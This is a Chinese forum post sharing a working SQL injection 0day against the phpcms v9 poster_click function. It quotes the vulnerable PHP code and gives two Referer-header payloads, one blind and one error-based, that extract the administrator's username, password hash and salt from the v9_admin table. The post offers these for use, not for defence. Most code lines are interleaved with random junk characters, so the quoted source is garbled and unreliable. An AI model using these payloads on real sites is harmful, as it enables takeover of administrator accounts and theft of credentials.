phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
6 w8 w% n3 y$ {+ Z
0 f; G  ^$ u0 r. g/ k' L问题函数\phpcms\modules\poster\index.php
7 L* k, o6 N$ R5 h
2 Q( w3 [3 l8 z" _7 s9 q- v8 Vpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
5 W$ g/ @5 x; L. X( [/ w- E3 Uif (!is_array($r) && empty($r)) return false;
5 V( M- ?) }& L: o8 u$ip_area = pc_base::load_sys_class('ip_area');
1 v4 {7 g  H7 f' f8 O& z9 \! J2 J$ip = ip();
  f8 z* b/ c9 d/ Y$area = $ip_area->get($ip);
+ }* s" L3 e' |& l$username = param::get_cookie('username') ? param::get_cookie('username') : '';
6 h! X/ j4 Z) Z8 gif($id) {
0 U3 E. J; ?% C4 x$ l( e# O$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
5 }+ A" p$ [6 o& H/ T7 r2 o7 e$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
) ^- s9 J4 F0 X% N$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
/ j4 }; Y: V# b( h9 V$setting = string2array($r['setting']);
6 N2 B# f! c& G/ p, ~; V& kif (count($setting)==1) {
$url = $setting['1']['linkurl'];
* y- a6 q" a/ B7 c' A} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
% o6 F) {6 X& T8 D# ^9 L' P8 s4 h}
$ o& o! D7 x. W7 _: r9 ~header('Location: '.$url);
}
, E0 u" j6 I4 P9 ~

9 B( z9 @4 A4 e' X
4 H: T6 n) }9 ~利用方式：

( r6 g+ \+ _( g9 V( t1、可以采用盲注入的手法：
! i/ [3 I6 o) R: N0 G$ m
3 i4 Q5 o6 l2 e  r& F% }referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
$ u2 ]5 q, p  C, e
% R( M) ]% ?7 k5 U$ z% h* M1 t0 `2、代码是花开写的，随手附上了：
0 e3 T0 T- L& \2 c/ o
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
